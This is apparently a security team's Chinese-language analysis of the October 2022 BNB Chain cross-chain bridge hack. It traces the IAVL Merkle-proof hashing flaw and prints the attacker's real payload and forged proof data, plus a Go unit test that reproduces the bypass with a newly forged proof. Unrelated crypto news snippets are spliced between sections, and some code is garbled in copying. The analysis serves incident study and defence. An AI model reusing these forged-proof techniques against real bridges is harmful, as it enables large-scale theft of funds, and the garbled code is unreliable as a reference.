事件背景
北京時間2022年10月7日凌晨,BNB??Chian跨鏈橋BSCTokenHub遭遇攻擊。黑客利用跨鏈橋漏洞分兩次共獲取200萬枚BNB,價值約5.66億美元。
漏洞分析
BSCTokenHub是BNB信標鏈和BNB鏈之間的跨鏈橋。BNB鏈使用預編譯合約0x65驗證BNB信標鏈提交的IAVL的Proof,但BNB鏈對提交的Proof邊界情況處理不足,它僅考慮了Proof只有一個Leaf的場景,對多個Leaves的處理邏輯不夠嚴謹。黑客構造了一個包含多Leaves的Proof數據,繞過BNBChain上的校驗,從而在BNB鏈造成了BNB增發。
以其中一次攻擊交易為例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
黑客構造輸入數據payload和proof,輸入參數通過validateMerkleProof校驗,返回值為true。
在后續IApplication(handlerContract).handleSynPackage處理中,合約給黑客增發100萬個BNB。
函數調用過程
交易首先調用CrossChain合約0x2000的handlePackage函數:
?functionhandlePackage(bytescalldatapayload,bytescalldataproof,uint64height,uint64packageSequence,uint8channelId)onlyInitonlyRelayer???sequenceInOrder(packageSequence,channelId)blockSynced(height)channelSupported(channelId)external{??bytesmemorypayloadLocal=payload;//fixerror:stacktoodeep,tryremovinglocalvariables??bytesmemoryproofLocal=proof;//fixerror:stacktoodeep,tryremovinglocalvariables?require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),STORE_NAME,generateKey(packageSequence,channelId),payloadLocal,proofLocal),"invalidmerkleproof");??addresspayableheaderRelayer=ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);??......??if(packageType==SYN_PACKAGE){???addresshandlerContract=channelHandlerContractMap;???tryIApplication(handlerContract).handleSynPackage(channelIdLocal,msgBytes)returns(bytesmemoryresponsePayload){?if(responsePayload.length!=0){?????sendPackage(channelSendSequenceMap,channelIdLocal,encodePayload(ACK_PACKAGE,0,responsePayload));?????channelSendSequenceMap=channelSendSequenceMap1;????}???}???......??}??......??IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer,msg.sender,relayFee,isRelayRewardFromSystemReward||packageType!=SYN_PACKAGE);?}?輸入參數{?"payload":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",?"height":110217401,?"packageSequence":17684572,?"channelId":2}
港股收盤:歐科云鏈收漲48.37%,火幣科技收漲68.01%:今日港股收盤,恒生指數收盤報27472.81點,收漲0.89%;歐科集團旗下歐科云鏈(01499.HK)報0.365港元,收漲48.37%;火幣科技(01611.HK)報10.4港元,收漲68.01%。[2021/1/4 16:24:32]
handlePackage會進一步調用MerkleProof.validateMerkleProof對輸入的proof進行校驗:
//函數原型:functionvalidateMerkleProof(??bytes32appHash,??stringmemorystoreName,??bytesmemorykey,??bytesmemoryvalue,??bytesmemoryproof)//函數調用:MerkleProof.validateMerkleProof(??ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),??STORE_NAME,??generateKey(packageSequence,channelId),??payloadLocal,??proofLocal),//調用參數:{?"appHash":"0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",?"storeName":"ibc",?"key":"0x00000100380200000000010dd85c",?"value":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}
歐科云鏈李煉炫:三年內超85%的央行不太可能發行CBDC:歐科云鏈研究院首席研究員李煉炫表示,根據克里斯蒂安對全球63家中央銀行的問卷調查,所有中央銀行都已開始進行數字貨幣的理論和概念研究,有49%的央行進入試驗/概念驗證階段,僅10%進入開發/試點階段。不過,在短期(三年內),超過85%的中央銀行不太可能或非常不可能發行任何央行數字貨幣。(澎湃新聞)[2020/10/9]
MerkleProof相關代碼可以看到,實際的驗證邏輯是使用預編譯合約0x65完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66
??uint256memoryresult;??/*solium-disable-next-line*/??assembly{??//callvalidateMerkleProofprecompilecontract??//Contractaddress:0x65???ifiszero(staticcall(not(0),0x65,input,length,result,0x20)){}??}??returnresult==0x01;
系統預編譯合約0x65對應iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81
系統合約0x65實現代碼如下,主要邏輯為使用DecodeKeyValueMerkleProof解碼輸入參數,并調用Validate進行校驗:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106
func(c*iavlMerkleProofValidate)Run(inputbyte)(resultbyte,errerror){??//returnnil,fmt.Errorf("suspend")??......??kvmp,err:=lightclient.DecodeKeyValueMerkleProof(input)iferr!=nil{??????returnnil,err??}??valid:=kvmp.Validate()if!valid{??????returnnil,fmt.Errorf("invalidmerkleproof")??}??result=make(byte,merkleProofValidateResultLength)??binary.BigEndian.PutUint64(result,0x01)??returnresult,nil}
其中kvmp.Validate()實現代碼如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234
func(kvmp*KeyValueMerkleProof)Validate()bool{??prt:=DefaultProofRuntime()??kp:=merkle.KeyPath{}??kp=kp.AppendKey(byte(kvmp.StoreName),merkle.KeyEncodingURL)??kp=kp.AppendKey(kvmp.Key,merkle.KeyEncodingURL)??iflen(kvmp.Value)==0{????err:=prt.VerifyAbsence(kvmp.Proof,kvmp.AppHash,kp.String())????returnerr==nil??}??err:=prt.VerifyValue(kvmp.Proof,kvmp.AppHash,kp.String(),kvmp.Value)??returnerr==nil}
DefaultProofRuntime構造函數使用IAVL庫進行Proof的驗證:
import(??"bytes"??"fmt"??"github.com/tendermint/iavl"??"github.com/tendermint/tendermint/crypto/merkle"??cmn"github.com/tendermint/tendermint/libs/common")......funcDefaultProofRuntime()(prt*merkle.ProofRuntime){??prt=merkle.NewProofRuntime()??prt.RegisterOpDecoder(merkle.ProofOpSimpleValue,merkle.SimpleValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLValue,iavl.IAVLValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence,iavl.IAVLAbsenceOpDecoder)??prt.RegisterOpDecoder(ProofOpMultiStore,MultiStoreProofOpDecoder)??return}IAVL代碼問題
IAVL的Proof校驗過程中,Hash計算存在漏洞,導致黑客可以在Proof添加數據,但計算Hash時并沒有用到添加的數據。詳細分析如下:
在len(pin.Left)不為0的分支中,計算Hash并沒有使用pin.Right數據。黑客利用該處漏洞構造數據,添加proof.LeftPath.Right數據,但是該數據并不參與Hash計算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93
歐科云鏈首席研究員李煉炫:DC/EP推出后將對我國的跨境貿易服務產生積極影響:9月22日下午,歐科云鏈媒體線下沙龍在上海舉辦。此次沙龍主題為DC/EP的設計機制與潛在影響,由歐科云鏈首席研究員李煉炫主講,共十家主流財經媒體出席。本次沙龍重點聚焦全球數字貨幣研究進度、我國對于數字貨幣的設計與應用、數字貨幣未來發展趨勢等熱點話題,與主流財經媒體圍繞相關內容進行深入探討。
李煉炫表示:目前DC/EP已經進入試點階段,推出后將對我國的跨境貿易服務產生積極影響。未來,歐科云鏈將結合產業熱點不定期舉辦類似的線下沙龍,助力區塊鏈技術的普及與應用。[2020/9/22]
func(pinProofInnerNode)Hash(childHashbyte)(byte,error){????hasher:=sha256.New()????buf:=bufPool.Get().(*bytes.Buffer)????buf.Reset()????deferbufPool.Put(buf)????err:=encoding.EncodeVarint(buf,int64(pin.Height))????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Size)????}????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Version)????}iflen(pin.Left)==0{iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Right)????????}????}else{iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Left)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}????}????iferr!=nil{????????returnnil,fmt.Errorf("failedtohashProofInnerNode:%v",err)????}????_,err=hasher.Write(buf.Bytes())????iferr!=nil{????????returnnil,err????}????returnhasher.Sum(nil),nil}
根據上述分析,正常數據組織結構如下,proof.LeftPath.Right為空值,計算得到正確的Hash。
proof.LeftPath=len(2)
proof.LeftPath是一個正常數據,proof.LeftPath.Left是一個正常數據,proof.LeftPath.Right空值
proof.InnerNodes=len(0)
proof.Leaves=len(1),proof.Leaves是一個正常數據
黑客構造攻擊數據結構如下,添加proof.LeftPath.Right數據,且該數據不參與Hash計算。
proof.LeftPath=len(2)
proof.LeftPath是一個正常數據,proof.LeftPath.Left是一個正常數據,proof.LeftPath.Right是一個偽造數據
proof.InnerNodes=len(1),InnerNodes=nil
proof.Leaves=len(2),proof.Leaves是一個正常數據,proof.Leaves是一個偽造數據
且proof.LeftPath.Right=COMPUTEHASH(proof.Leaves)
IAVL的Proof校驗代碼如下,主體邏輯為COMPUTEHASH遞歸調用。由于lpath.Right也為黑客輸入數據,使得黑客構造的數據能夠通過bytes.Equal(derivedRoot,lpath.Right)的校驗,并返回上一輪COMPUTEHASH通過proof.Leaves計算的結果,該結果為正常數值,從而繞過了IAVL的Proof校驗。
https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309
func(proof*RangeProof)_computeRootHash()(rootHashbyte,treeEndbool,errerror){?...??varCOMPUTEHASHfunc(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror)??//rightmost:istherootarightmostchildofthetree???//treeEnd:trueiffthelastleafisthelastitemofthetree.??//Returnsthe(possiblyintermediate,possiblyroot)hash.??COMPUTEHASH=func(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror){??????//Popnextleaf.??????nleaf,rleaves:=leaves,leaves??????leaves=rleaves??????//Computehash.??????hash,err=(pathWithLeaf{??????????Path:path,??????????Leaf:nleaf,??????}).computeRootHash()??????iferr!=nil{??????????returnnil,treeEnd,false,err??????}??????//Ifwedon'thaveanyleavesleft,we'redone.??????iflen(leaves)==0{??????????rightmost=rightmost&&path.isRightmost()??????????returnhash,rightmost,true,nil??????}??????//Provealongpath(untilwerunoutofleaves).??????forlen(path)>0{??????????//Droptheleaf-most(last-most)innernodesfrompath??????????//untilweencounteronewithalefthash.??????????//Weassumethattheleftsideisalreadyverified.??????????//rpath:restofpath??????????//lpath:lastpathitem??????????rpath,lpath:=path,path??????????path=rpath??????????iflen(lpath.Right)==0{??????????????continue??????????}??????????//Popnextinners,aPathToLeaf(e.g.ProofInnerNode).??????????inners,rinnersq:=innersq,innersq??????????innersq=rinnersq??????????//Recursivelyverifyinnersagainstremainingleaves.??????????derivedRoot,treeEnd,done,err:=COMPUTEHASH(inners,rightmost&&rpath.isRightmost())??????????iferr!=nil{??????????????returnnil,treeEnd,false,errors.Wrap(err,"recursiveCOMPUTEHASHcall")??????????}??????????if!bytes.Equal(derivedRoot,lpath.Right){returnnil,treeEnd,false,errors.Wrapf(ErrInvalidRoot,"intermediateroothash%Xdoesn'tmatch,got%X",lpath.Right,derivedRoot)??????????}ifdone{returnhash,treeEnd,true,nil??????????}??????}??????//We'renotdoneyet(leavesleftover).Noerror,notdoneeither.??????//Technicallyifrightmost,weknowthere'sanerror"leftoverleaves??????//--malformedproof",butwereturnthatatthetoplevel,below.??????returnhash,false,false,nil??}??//Verify!??path:=proof.LeftPath??rootHash,treeEnd,done,err:=COMPUTEHASH(path,true)??iferr!=nil{??????returnnil,treeEnd,errors.Wrap(err,"rootCOMPUTEHASHcall")??}elseif!done{??????returnnil,treeEnd,errors.Wrap(ErrInvalidProof,"leftoverleaves--malformedproof")??}??//Ok!??returnrootHash,treeEnd,nil}
港股收盤:火幣科技收跌2.49% 歐科云鏈收跌1.64%:今日港股收盤,恒生指數報24781.58點,收跌0.50%;歐科集團旗下歐科云鏈(01499.HK)報0.180點,收跌1.64%;火幣科技(01611.HK)報3.130點,收跌2.49%。[2020/6/24]
黑客攻擊構造的數據中,包括了IAVL:V和multistore相關數據,multistore數據也是基于IAVL進行操作,原理是一樣的,不再進行詳細分析。
這次IAVLProof暴露的問題在于,數據局部的變化無法反應到整體,使得校驗發生錯誤。在Cosmos生態中,IBC使用ICS23來做數據的校驗處理,ICS23與IAVLProof校驗不同點在于,ICS23會對所有的“葉子節點”的值進行數據校驗,最后計算得出的根Hash再與鏈上數據進行校驗,OKC采用的是ICS23的Prove,因此不存在BNBChain這次遇到的安全漏洞。
測試驗證代碼
利用黑客攻擊交易數據,基于BNBChain單元測試代碼,增加了基于黑客攻擊交易的測試用例,可以完整復現黑客的攻擊交易。單元測試代碼利用iavlMerkleProofValidate.Run接口驗證輸入數據,即相當于調用預編譯合約。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100
iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}success,err:=iavlMerkleProofValidateContract.Run(input)
利用黑客攻擊交易數據,構造新的payload數據為value:=byte(“okctesthack”),并對proof相應數據進行了修改,即修改proof.LeftPath.Right和proof.Leaves對應的數據,新構造的數據可以通過okcIavlMerkleProofValidate校驗,即修改了黑客數據也能通過校驗。另外,如下單元測試代碼對原始黑客數據和修改后的數據兩種case都進行了校驗,且校驗都能成功,從而說明如下測試代碼利用本文所述漏洞成功進行了復現。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958
funcTestTmHeaderValidateAndMerkleProofValidateTest(t*testing.T){????testCases:=struct{????????name?string????????valuebyte????????proofbyte??}{????{??????//datasourcehttps://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b??????"hackdata",??????func()byte{??????????value,err:=hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")??????????require.NoError(t,err)??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},????{??????"okctestdata",??????func()byte{??????????value:=byte("okctesthack")??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},??}??for_,tc:=rangetestCases{????okcIavlMerkleProofValidate(tc.value,tc.proof,t)??}}funcokcIavlMerkleProofValidate(value,proofBytesbyte,t*testing.T){??key,err:=hex.DecodeString("00000100380200000000010dd85c")//thisequaltogenerateKey(17684572,2)??require.NoError(t,err)??newAppHash,err:=hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318")//thisisgotbyhackdata??require.NoError(t,err)??merkleProofInput:=make(byte,3232len(key)32len(value)32len(proofBytes))??copy(merkleProofInput,"ibc")??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(key)))??copy(merkleProofInput,key)??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(value)))??copy(merkleProofInput,value)??copy(merkleProofInput,newAppHash)??copy(merkleProofInput,proofBytes)??totalLengthPrefix:=make(byte,32)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,uint64(len(merkleProofInput)))??input:=append(totalLengthPrefix,merkleProofInput...)??iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}??success,err:=iavlMerkleProofValidateContract.Run(input)??require.NoError(t,err,err)??expectedResult:=make(byte,32)??binary.BigEndian.PutUint64(expectedResult,0x01)??require.Equal(t,expectedResult,success。
歐科云鏈解讀《海南自貿港總體方案》:區塊鏈產業的政策洼地與制度高地:6月1日,國務院印發了《海南自由貿易港建設總體方案》,其中在多個地方提到了區塊鏈產業相關政策。歐科云鏈研究院認為《方案》將推動海南自貿區成為我國區塊鏈產業的政策洼地與制度高地。從《方案》內容上看,海南自貿港的區塊鏈產業發展將分為兩個階段:在2025年前的第一階段,主要任務是推動區塊鏈和實體經濟深度融合,實現海南“貿易投資自由化便利化”,主要在“產權保護”和“新一代信息基礎設施”兩個方面深耕;在2035年前的第二個階段,將以海南自貿區作為先行試點,建立數據確權、數據交易、數據安全和區塊鏈金融的標準,確保我國在未來跨境數據的國際規則制定中不會處于被動位置。[2020/6/2]
事件過程
被攻擊全過程可查看上一篇文章:鏈上衛士:BNBChain遭攻擊時間軸梳理。OKLink多鏈瀏覽器已對BNBChain黑客地址進行風險標簽標記,關于此次被盜后續,鏈上衛士團隊將進一步追蹤案件細節并及時同步。
Tags:ROOPROProofVALSHROOMS價格Bearn Defi Protocol0XPROOFsiliconvalleychain
XRP價格已經連續幾周產生了出色的表現。Ripple的原生代幣獲得了積極的勢頭,因為它以小勝的優勢接近針對SEC訴訟的終點線.
1900/1/1 0:00:00親愛的用戶: 為了給用戶提供更豐富的交易選擇,幣安閃兌交易平臺已上線PROS新資產,邀您體驗!用戶現可零費用通過PROS與BTC、BUSD、USDT和閃兌交易平臺支持的其他代幣進行交易.
1900/1/1 0:00:00隨著市場的其余部分與空頭作斗爭,XRP處于強勁的上升趨勢中注意這些長期阻力位的價格反應考慮到XRP是市值排名前10的加密資產,XRP在最近幾周取得了顯著收益.
1900/1/1 0:00:00關于Gate.ioStartup免費空投計劃為回饋平臺用戶,Gate.io上線“免費空投計劃”,在Startup區不定期進行區塊鏈項目的免費空投計劃.
1900/1/1 0:00:00?以太坊合并后的景象讓許多人感到意外。數字和結果不是他們的想法。糟糕的宏觀經濟條件和其他負面因素使預期的突破黯然失色.
1900/1/1 0:00:00Chainlink權益質押是實現加密經濟安全機制的關鍵要素,質押者可以將LINK通證放入智能合約中,為預言機服務質量進行質押擔保.
1900/1/1 0:00:00